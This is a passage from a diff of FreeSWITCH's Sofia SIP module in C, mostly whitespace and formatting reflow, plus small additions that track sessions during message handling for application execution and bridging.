+ SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)), TAG_END());
} else {
nua_respond(tech_pvt->nh, SIP_200_OK,
NUTAG_AUTOANSWER(0),
@@ -634,11 +672,10 @@
SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
SIPTAG_CALL_INFO_STR(switch_channel_get_variable(tech_pvt->channel, SOFIA_SIP_HEADER_PREFIX "call_info")),
SIPTAG_CONTENT_TYPE_STR("application/sdp"),
- SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
+ SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
- TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
- SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
- TAG_END());
+ TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
+ SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)), TAG_END());
}
switch_safe_free(extra_headers);
sofia_set_flag_locked(tech_pvt, TFLAG_ANS);
@@ -778,7 +815,7 @@
tech_pvt->read_frame.datalen = 0;
sofia_set_flag_locked(tech_pvt, TFLAG_READING);
- if (sofia_test_flag(tech_pvt, TFLAG_HUP) || sofia_test_flag(tech_pvt, TFLAG_BYE) || !tech_pvt->read_codec.implementation ||
+ if (sofia_test_flag(tech_pvt, TFLAG_HUP) || sofia_test_flag(tech_pvt, TFLAG_BYE) || !tech_pvt->read_codec.implementation ||
!switch_core_codec_ready(&tech_pvt->read_codec)) {
return SWITCH_STATUS_FALSE;
}
@@ -792,7 +829,7 @@
switch_assert(tech_pvt->rtp_session != NULL);
tech_pvt->read_frame.datalen = 0;
-
+
while (sofia_test_flag(tech_pvt, TFLAG_IO) && tech_pvt->read_frame.datalen == 0) {
tech_pvt->read_frame.flags = SFF_NONE;
@@ -800,13 +837,13 @@
if (status != SWITCH_STATUS_SUCCESS && status != SWITCH_STATUS_BREAK) {
if (status == SWITCH_STATUS_TIMEOUT) {
-
+
if (sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
sofia_glue_toggle_hold(tech_pvt, 0);
sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
switch_channel_clear_flag(channel, CF_LEG_HOLDING);
}
-
+
switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_MEDIA_TIMEOUT);
}
return status;
@@ -836,26 +873,26 @@
*frame = NULL;
return SWITCH_STATUS_GENERR;
}
-
+
if ((tech_pvt->read_frame.datalen % 10) == 0 &&
sofia_test_pflag(tech_pvt->profile, PFLAG_AUTOFIX_TIMING) && tech_pvt->check_frames < MAX_CODEC_CHECK_FRAMES) {
tech_pvt->check_frames++;
-
+
if (!tech_pvt->read_impl.encoded_bytes_per_packet) {
tech_pvt->check_frames = MAX_CODEC_CHECK_FRAMES;
goto skip;
}
-
+
if (tech_pvt->last_ts && tech_pvt->read_frame.datalen != tech_pvt->read_impl.encoded_bytes_per_packet) {
- uint32_t codec_ms = (int)(tech_pvt->read_frame.timestamp -
- tech_pvt->last_ts) / (tech_pvt->read_impl.samples_per_second / 1000);
+ uint32_t codec_ms = (int) (tech_pvt->read_frame.timestamp -
+ tech_pvt->last_ts) / (tech_pvt->read_impl.samples_per_second / 1000);
if ((codec_ms % 10) != 0 || codec_ms > tech_pvt->read_impl.samples_per_packet * 10) {
tech_pvt->last_ts = 0;
goto skip;
}
-
+
if (tech_pvt->last_codec_ms && tech_pvt->last_codec_ms == codec_ms) {
tech_pvt->mismatch_count++;
}
@@ -867,72 +904,72 @@
const char *val;
int rtp_timeout_sec = 0;
int rtp_hold_timeout_sec = 0;
-
- if (codec_ms > 120) { /* yeah right */
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+
+ if (codec_ms > 120) { /* yeah right */
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
"Your phone is trying to send timestamps that suggest an increment of %dms per packet\n"
- "That seems hard to believe so I am going to go on ahead and um ignore that, mmkay?", (int)codec_ms);
+ "That seems hard to believe so I am going to go on ahead and um ignore that, mmkay?",
+ (int) codec_ms);
tech_pvt->check_frames = MAX_CODEC_CHECK_FRAMES;
goto skip;
}
tech_pvt->read_frame.datalen = 0;
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
"We were told to use ptime %d but what they meant to say was %d\n"
- "This issue has so far been identified to happen on the following broken platforms/devices:\n"
+ "This issue has so far been identified to happen on the following broken platforms/devices:\n"
"Linksys/Sipura aka Cisco\n"
"ShoreTel\n"
"Sonus/L3\n"
- "We will try to fix it but some of the devices on this list are so broken who knows what will happen..\n"
- ,
- (int)tech_pvt->codec_ms, (int)codec_ms);
+ "We will try to fix it but some of the devices on this list are so broken who knows what will happen..\n",
+ (int) tech_pvt->codec_ms, (int) codec_ms);
- switch_channel_set_variable_printf(channel, "sip_h_X-Broken-PTIME", "Adv=%d;Sent=%d",
- (int)tech_pvt->codec_ms, (int)codec_ms);
+ switch_channel_set_variable_printf(channel, "sip_h_X-Broken-PTIME", "Adv=%d;Sent=%d",
+ (int) tech_pvt->codec_ms, (int) codec_ms);
tech_pvt->codec_ms = codec_ms;
-
+
if (sofia_glue_tech_set_codec(tech_pvt, 2) != SWITCH_STATUS_SUCCESS) {
*frame = NULL;
return SWITCH_STATUS_GENERR;
}
-
+
if ((val = switch_channel_get_variable(tech_pvt->channel, "rtp_timeout_sec"))) {
int v = atoi(val);
if (v >= 0) {
rtp_timeout_sec = v;
}
}
-
+
if ((val = switch_channel_get_variable(tech_pvt->channel, "rtp_hold_timeout_sec"))) {
int v = atoi(val);
if (v >= 0) {
rtp_hold_timeout_sec = v;
}
}
-
+
if (rtp_timeout_sec) {
tech_pvt->max_missed_packets = (tech_pvt->read_impl.samples_per_second * rtp_timeout_sec) /
tech_pvt->read_impl.samples_per_packet;
-
+
switch_rtp_set_max_missed_packets(tech_pvt->rtp_session, tech_pvt->max_missed_packets);
if (!rtp_hold_timeout_sec) {
rtp_hold_timeout_sec = rtp_timeout_sec * 10;
}
}
-
+
if (rtp_hold_timeout_sec) {
tech_pvt->max_missed_hold_packets = (tech_pvt->read_impl.samples_per_second * rtp_hold_timeout_sec) /
tech_pvt->read_impl.samples_per_packet;
}
-
-
+
+
tech_pvt->check_frames = 0;
tech_pvt->last_ts = 0;
/* inform them of the codec they are actually sending */
if (++tech_pvt->codec_reinvites > 2) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
"Ok, some devices *cough* X-lite *cough*\n"
"seem to continue to lie over and over again so I guess we'll\n"
"leave well-enough alone and let them lie\n");
@@ -941,9 +978,9 @@
}
}
-
+
}
-
+
} else {
tech_pvt->mismatch_count = 0;
}
@@ -952,8 +989,8 @@
tech_pvt->mismatch_count = 0;
tech_pvt->last_ts = 0;
}
- skip:
-
+ skip:
+
if ((bytes = tech_pvt->read_impl.encoded_bytes_per_packet)) {
frames = (tech_pvt->read_frame.datalen / bytes);
}
@@ -1121,6 +1158,11 @@
/* ones that do not need to lock sofia mutex */
switch (msg->message_id) {
+ case SWITCH_MESSAGE_INDICATE_APPLICATION_EXEC:
+ {
+ sofia_glue_tech_track(tech_pvt->profile, session);
+ }
+ break;
case SWITCH_MESSAGE_INDICATE_PROXY_MEDIA:
{
if (switch_rtp_ready(tech_pvt->rtp_session)) {
@@ -1167,10 +1209,11 @@
{
const char *network_addr_a, *network_addr_b, *simplify_a, *simplify_b;
int s_ok = 0;
+ int do_s = 0;
simplify_a = switch_channel_get_variable(channel, "sip_auto_simplify");
simplify_b = switch_channel_get_variable_partner(channel, "sip_auto_simplify");
-
+
if (switch_true(simplify_a)) {
if (switch_true(simplify_b) && !switch_channel_test_flag(channel, CF_BRIDGE_ORIGINATOR)) {
s_ok = 0;
@@ -1182,27 +1225,32 @@
if (s_ok) {
network_addr_a = switch_channel_get_variable(channel, "network_addr");
network_addr_b = switch_channel_get_variable_partner(channel, "network_addr");
-
+
if (!zstr(network_addr_a) && !zstr(network_addr_b) && !strcmp(network_addr_a, network_addr_b)) {
- if (strcmp(network_addr_a, switch_str_nil(tech_pvt->profile->sipip)) &&
+ if (strcmp(network_addr_a, switch_str_nil(tech_pvt->profile->sipip)) &&
strcmp(network_addr_a, switch_str_nil(tech_pvt->profile->extsipip))) {
switch_core_session_message_t smsg = { 0 };
-
+
smsg.message_id = SWITCH_MESSAGE_INDICATE_SIMPLIFY;
smsg.from = __FILE__;
-
+
status = switch_core_session_receive_message(session, &smsg);
+ do_s = 1;
}
}
}
-
+
+ if (!do_s) {
+ sofia_glue_tech_track(tech_pvt->profile, session);
+ }
+
if (switch_rtp_ready(tech_pvt->rtp_session)) {
const char *val;
int ok = 0;
if (sofia_test_flag(tech_pvt, TFLAG_PASS_RFC2833) && switch_channel_test_flag_partner(channel, CF_FS_RTP)) {
switch_rtp_set_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
"%s activate passthru 2833 mode.\n", switch_channel_get_name(channel));
}
@@ -1211,7 +1259,7 @@
} else {
ok = sofia_test_pflag(tech_pvt->profile, PFLAG_RTP_AUTOFLUSH_DURING_BRIDGE);
}
-
+
if (ok) {
rtp_flush_read_buffer(tech_pvt->rtp_session, SWITCH_RTP_FLUSH_STICK);
} else {
@@ -1226,7 +1274,8 @@
int ok = 0;
if (switch_rtp_test_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s deactivate passthru 2833 mode.\n", switch_channel_get_name(channel));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s deactivate passthru 2833 mode.\n",
+ switch_channel_get_name(channel));
switch_rtp_clear_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833);
}
@@ -1235,13 +1284,15 @@
} else {
ok = sofia_test_pflag(tech_pvt->profile, PFLAG_RTP_AUTOFLUSH_DURING_BRIDGE);
}
-
+
if (ok) {
rtp_flush_read_buffer(tech_pvt->rtp_session, SWITCH_RTP_FLUSH_UNSTICK);
} else {
rtp_flush_read_buffer(tech_pvt->rtp_session, SWITCH_RTP_FLUSH_ONCE);
}
+ //sofia_glue_tech_untrack(tech_pvt->profile, session);
+
}
goto end;
case SWITCH_MESSAGE_INDICATE_AUDIO_SYNC:
@@ -1266,11 +1317,11 @@
}
}
-
+
if (presence_id || presence_data) {
char *sql = switch_mprintf("update sip_dialogs set presence_id='%q',presence_data='%q' "
- "where uuid='%s';\n", switch_str_nil(presence_id), switch_str_nil(presence_data),
- switch_core_session_get_uuid(session));
+ "where uuid='%s';\n", switch_str_nil(presence_id), switch_str_nil(presence_data),
+ switch_core_session_get_uuid(session));
switch_assert(sql);
sofia_glue_execute_sql_now(tech_pvt->profile, &sql, SWITCH_TRUE);
}
@@ -1279,12 +1330,11 @@
if ((var = switch_channel_get_variable(channel, SOFIA_SECURE_MEDIA_VARIABLE)) && switch_true(var)) {
sofia_set_flag_locked(tech_pvt, TFLAG_SECURE);
}
-
+
if (sofia_test_pflag(tech_pvt->profile, PFLAG_AUTOFIX_TIMING)) {
tech_pvt->check_frames = 0;
tech_pvt->last_ts = 0;
}
-
}
break;
default:
@@ -1307,11 +1357,7 @@
" <media_control>\r\n"
" <vc_primitive>\r\n"
" <to_encoder>\r\n"
- " <picture_fast_update>\r\n"
- " </picture_fast_update>\r\n"
- " </to_encoder>\r\n"
- " </vc_primitive>\r\n"
- " </media_control>\r\n";
+ " <picture_fast_update>\r\n" " </picture_fast_update>\r\n" " </to_encoder>\r\n" " </vc_primitive>\r\n" " </media_control>\r\n";
nua_info(tech_pvt->nh, SIPTAG_CONTENT_TYPE_STR("application/media_control+xml"), SIPTAG_PAYLOAD_STR(pl), TAG_END());
@@ -1331,15 +1377,13 @@
nua_respond(tech_pvt->nh, SIP_200_OK,
SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
- SOATAG_REUSE_REJECTED(1), SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1),
+ SOATAG_REUSE_REJECTED(1), SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1),
TAG_END());
} else {
nua_respond(tech_pvt->nh, SIP_200_OK,
NUTAG_MEDIA_ENABLE(0),
SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
- SIPTAG_CONTENT_TYPE_STR("application/sdp"),
- SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
- TAG_END());
+ SIPTAG_CONTENT_TYPE_STR("application/sdp"), SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str), TAG_END());
}
switch_channel_mark_answered(channel);
}
@@ -1370,14 +1414,14 @@
if (!tech_pvt->local_sdp_str) {
sofia_glue_tech_absorb_sdp(tech_pvt);
}
-
+
sofia_glue_do_invite(session);
}
break;
case SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT:
{
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Sending media re-direct:\n%s\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Sending media re-direct:\n%s\n",
switch_channel_get_name(channel), msg->string_arg);
sofia_glue_tech_set_local_sdp(tech_pvt, msg->string_arg, SWITCH_TRUE);
@@ -1394,9 +1438,9 @@
sofia_glue_set_image_sdp(tech_pvt, t38_options);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Sending request for image media. %s\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Sending request for image media. %s\n",
switch_channel_get_name(channel), tech_pvt->local_sdp_str);
-
+
switch_channel_set_flag(channel, CF_REQ_MEDIA);
sofia_set_flag_locked(tech_pvt, TFLAG_SENT_UPDATE);
sofia_glue_do_invite(session);
@@ -1405,48 +1449,48 @@
case SWITCH_MESSAGE_INDICATE_MEDIA:
{
- uint32_t send_invite = 1;
+ uint32_t send_invite = 1;
switch_channel_clear_flag(channel, CF_PROXY_MODE);
sofia_glue_tech_set_local_sdp(tech_pvt, NULL, SWITCH_FALSE);
- if (!(switch_channel_test_flag(channel, CF_ANSWERED) || switch_channel_test_flag(channel, CF_EARLY_MEDIA))) {
- if (!switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND)) {
- const char *r_sdp = switch_channel_get_variable(channel, SWITCH_R_SDP_VARIABLE);
+ if (!(switch_channel_test_flag(channel, CF_ANSWERED) || switch_channel_test_flag(channel, CF_EARLY_MEDIA))) {
+ if (!switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND)) {
+ const char *r_sdp = switch_channel_get_variable(channel, SWITCH_R_SDP_VARIABLE);
- tech_pvt->num_codecs = 0;
+ tech_pvt->num_codecs = 0;
sofia_glue_tech_prepare_codecs(tech_pvt);
- if (sofia_glue_tech_media(tech_pvt, r_sdp) != SWITCH_STATUS_SUCCESS) {
+ if (sofia_glue_tech_media(tech_pvt, r_sdp) != SWITCH_STATUS_SUCCESS) {
switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "CODEC NEGOTIATION ERROR");
- status = SWITCH_STATUS_FALSE;
- goto end_lock;
- }
- send_invite = 0;
- }
- }
+ status = SWITCH_STATUS_FALSE;
+ goto end_lock;
+ }
+ send_invite = 0;
+ }
+ }
- if (!switch_rtp_ready(tech_pvt->rtp_session)) {
+ if (!switch_rtp_ready(tech_pvt->rtp_session)) {
sofia_glue_tech_prepare_codecs(tech_pvt);
- if ((status = sofia_glue_tech_choose_port(tech_pvt, 0)) != SWITCH_STATUS_SUCCESS) {
+ if ((status = sofia_glue_tech_choose_port(tech_pvt, 0)) != SWITCH_STATUS_SUCCESS) {
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
- goto end_lock;
- }
- }
+ goto end_lock;
+ }
+ }
sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 1);
- if (send_invite) {
+ if (send_invite) {
switch_channel_set_flag(channel, CF_REQ_MEDIA);
sofia_glue_do_invite(session);
- }
- }
- break;
+ }
+ }
+ break;
case SWITCH_MESSAGE_INDICATE_SIMPLIFY:
{
char *ref_to, *ref_by;
const char *uuid;
const char *call_id = NULL, *to_user = NULL, *to_host = NULL, *to_tag = NULL, *from_tag = NULL, *from_user = NULL, *from_host = NULL;
-
+
if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
switch_core_session_t *rsession;
if ((rsession = switch_core_session_locate(uuid))) {
@@ -1470,14 +1514,14 @@
switch_core_session_rwunlock(rsession);
}
}
-
+
if (to_user && to_host && from_user && from_host && call_id && to_tag && from_tag) {
char in[512] = "", out[1536] = "";
switch_snprintf(in, sizeof(in), "%s;to-tag=%s;from-tag=%s", call_id, to_tag, from_tag);
switch_url_encode(in, out, sizeof(out));
- ref_to = switch_mprintf("<sip:%s@%s?Replaces=%s>", to_user, to_host, out);
+ ref_to = switch_mprintf("<sip:%s@%s?Replaces=%s>", to_user, to_host, out);
ref_by = switch_mprintf("<sip:%s@%s>", from_user, from_host);
nua_refer(tech_pvt->nh, SIPTAG_REFER_TO_STR(ref_to), SIPTAG_REFERRED_BY_STR(ref_by), TAG_END());
@@ -1492,7 +1536,7 @@
char *arg = NULL;
char *argv[2] = { 0 };
int argc;
-
+
if (zstr(name) && !zstr(msg->string_arg)) {
arg = strdup(msg->string_arg);
switch_assert(arg);
@@ -1502,7 +1546,7 @@
number = argv[1];
}
-
+
if (!zstr(name)) {
char message[256] = "";
const char *ua = switch_channel_get_variable(tech_pvt->channel, "sip_user_agent");
@@ -1515,39 +1559,35 @@
if (!sofia_test_flag(tech_pvt, TFLAG_UPDATING_DISPLAY)) {
if (zstr(tech_pvt->last_sent_callee_id_name) || strcmp(tech_pvt->last_sent_callee_id_name, name) ||
zstr(tech_pvt->last_sent_callee_id_number) || strcmp(tech_pvt->last_sent_callee_id_number, number)) {
-
+
if (switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote)) {
snprintf(message, sizeof(message), "X-FS-Display-Name: %s\nX-FS-Display-Number: %s\n", name, number);
nua_info(tech_pvt->nh, SIPTAG_CONTENT_TYPE_STR("message/update_display"),
TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
- TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
- TAG_END());
+ TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)), TAG_END());
} else if (ua && switch_stristr("snom", ua)) {
snprintf(message, sizeof(message), "From:\r\nTo: \"%s\" %s\r\n", name, number);
nua_info(tech_pvt->nh, SIPTAG_CONTENT_TYPE_STR("message/sipfrag"),
- TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
- SIPTAG_PAYLOAD_STR(message), TAG_END());
+ TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)), SIPTAG_PAYLOAD_STR(message), TAG_END());
} else if ((ua && (switch_stristr("polycom", ua)))) {
snprintf(message, sizeof(message), "P-Asserted-Identity: \"%s\" <%s>", name, number);
sofia_set_flag_locked(tech_pvt, TFLAG_UPDATING_DISPLAY);
nua_update(tech_pvt->nh,
TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
- TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
- TAG_END());
+ TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)), TAG_END());
} else if ((ua && (switch_stristr("aastra", ua)))) {
snprintf(message, sizeof(message), "P-Asserted-Identity: \"%s\" <sip:%s@%s>", name, number, tech_pvt->profile->sipip);
-
+
sofia_set_flag_locked(tech_pvt, TFLAG_UPDATING_DISPLAY);
nua_update(tech_pvt->nh,
TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
- TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
- TAG_END());
+ TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)), TAG_END());
}
tech_pvt->last_sent_callee_id_name = switch_core_session_strdup(tech_pvt->session, name);
tech_pvt->last_sent_callee_id_number = switch_core_session_strdup(tech_pvt->session, number);
-
+
if (switch_event_create(&event, SWITCH_EVENT_CALL_UPDATE) == SWITCH_STATUS_SUCCESS) {
const char *uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Direction", "SEND");
@@ -1581,14 +1621,12 @@
if (ua && switch_stristr("snom", ua)) {
snprintf(message, sizeof(message), "From:\r\nTo: \"%s\" %s\r\n", msg->string_arg, tech_pvt->caller_profile->destination_number);
nua_info(tech_pvt->nh, SIPTAG_CONTENT_TYPE_STR("message/sipfrag"),
- TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
- SIPTAG_PAYLOAD_STR(message), TAG_END());
+ TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)), SIPTAG_PAYLOAD_STR(message), TAG_END());
} else if (ua && switch_stristr("polycom", ua)) {
snprintf(message, sizeof(message), "P-Asserted-Identity: \"%s\" <%s>", msg->string_arg, tech_pvt->caller_profile->destination_number);
nua_update(tech_pvt->nh,
TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
- TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
- TAG_END());
+ TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)), TAG_END());
}
}
}
@@ -1610,16 +1648,16 @@
if (!strchr(msg->string_arg, '<') && !strchr(msg->string_arg, '>')) {
dest = switch_core_session_sprintf(session, "\"unknown\" <%s>", msg->string_arg);
}
-
+
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Redirecting to %s\n", dest);
nua_respond(tech_pvt->nh, SIP_302_MOVED_TEMPORARILY, SIPTAG_CONTACT_STR(dest),
- TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
- TAG_END());
+ TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
sofia_set_flag_locked(tech_pvt, TFLAG_BYE);
switch_safe_free(extra_headers);
} else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Too late for redirecting to %s, already answered\n", msg->string_arg);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Too late for redirecting to %s, already answered\n",
+ msg->string_arg);
}
}
break;
@@ -1639,7 +1677,7 @@
sofia_wait_for_reply(tech_pvt, 9999, 300);
switch_mutex_lock(tech_pvt->sofia_mutex);
if ((var = switch_channel_get_variable(tech_pvt->channel, "sip_refer_reply"))) {
- msg->string_reply = switch_core_session_strdup(session, var);
+ msg->string_reply = switch_core_session_strdup(session, var);
} else {
msg->string_reply = "no reply";
}
@@ -1650,7 +1688,7 @@
if (msg->numeric_arg || msg->string_arg) {
int code = msg->numeric_arg;
const char *reason = NULL;
-
+
if (code) {
reason = msg->string_arg;
} else {
@@ -1672,7 +1710,7 @@
goto end_lock;
}
}
-
+
if (zstr(reason) && code != 407 && code != 302) {
reason = sip_status_phrase(code);
if (zstr(reason)) {
@@ -1713,7 +1751,7 @@
SIPTAG_HEADER_STR(generate_pai_str(session)),
TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
TAG_IF(!zstr(max_forwards), SIPTAG_MAX_FORWARDS_STR(max_forwards)), TAG_END());
-
+
sofia_set_flag_locked(tech_pvt, TFLAG_BYE);
switch_safe_free(extra_headers);
}
@@ -1724,7 +1762,7 @@
*p = '\0';
msg->string_arg = p;
}
-
+
msg->message_id = SWITCH_MESSAGE_INDICATE_REDIRECT;
switch_core_session_receive_message(session, msg);
goto end_lock;
@@ -1734,7 +1772,7 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Responding with %d [%s]\n", code, reason);
if (!zstr(((char *) msg->pointer_arg))) {
sofia_glue_tech_set_local_sdp(tech_pvt, (char *) msg->pointer_arg, SWITCH_TRUE);
-
+
if (switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
sofia_glue_tech_patch_sdp(tech_pvt);
sofia_glue_tech_proxy_remote_addr(tech_pvt);
@@ -1743,21 +1781,18 @@
nua_respond(tech_pvt->nh, code, su_strdup(nua_handle_home(tech_pvt->nh), reason), SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
SOATAG_REUSE_REJECTED(1),
- SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1),
- TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
- TAG_END());
+ SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1),
+ TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
} else {
nua_respond(tech_pvt->nh, code, su_strdup(nua_handle_home(tech_pvt->nh), reason), SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
NUTAG_MEDIA_ENABLE(0),
SIPTAG_CONTENT_TYPE_STR("application/sdp"),
- SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
- TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
- TAG_END());
+ SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
+ TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
}
} else {
- nua_respond(tech_pvt->nh, code, su_strdup(nua_handle_home(tech_pvt->nh), reason), SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
- TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
- TAG_END());
+ nua_respond(tech_pvt->nh, code, su_strdup(nua_handle_home(tech_pvt->nh), reason), SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
+ TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
}
switch_safe_free(extra_headers);
}
@@ -1770,7 +1805,7 @@
if (sofia_test_pflag(tech_pvt->profile, PFLAG_3PCC_PROXY) && sofia_test_flag(tech_pvt, TFLAG_3PCC)) {
switch_channel_mark_ring_ready(channel);
status = SWITCH_STATUS_SUCCESS;
- switch_log_printf(SWITCH_CHANNEL_ID_LOG, msg->_file, msg->_func, msg->_line, NULL, SWITCH_LOG_INFO,
+ switch_log_printf(SWITCH_CHANNEL_ID_LOG, msg->_file, msg->_func, msg->_line, NULL, SWITCH_LOG_INFO,
"Pretending to send ringing. Not available for 3pcc calls\n");
goto end_lock;
}
@@ -1782,12 +1817,11 @@
nua_respond(tech_pvt->nh, SIP_180_RINGING,
SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
- SIPTAG_HEADER_STR(generate_pai_str(session)),
+ SIPTAG_HEADER_STR(generate_pai_str(session)),
TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
TAG_IF(!zstr(extra_header), SIPTAG_HEADER_STR(extra_header)),
- TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
- SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
- TAG_END());
+ TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
+ SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)), TAG_END());
switch_safe_free(extra_header);
switch_channel_mark_ring_ready(channel);
}
@@ -1805,7 +1839,7 @@
sofia_set_flag_locked(tech_pvt, TFLAG_EARLY_MEDIA);
switch_channel_mark_pre_answered(channel);
status = SWITCH_STATUS_SUCCESS;
- switch_log_printf(SWITCH_CHANNEL_ID_LOG, msg->_file, msg->_func, msg->_line, NULL, SWITCH_LOG_INFO,
+ switch_log_printf(SWITCH_CHANNEL_ID_LOG, msg->_file, msg->_func, msg->_line, NULL, SWITCH_LOG_INFO,
"Pretending to send early media. Not available for 3pcc calls\n");
goto end_lock;
}
@@ -1822,9 +1856,9 @@
sofia_glue_tech_set_local_sdp(tech_pvt, sdp, SWITCH_TRUE);
}
if (switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
-
+
sofia_glue_tech_patch_sdp(tech_pvt);
-
+
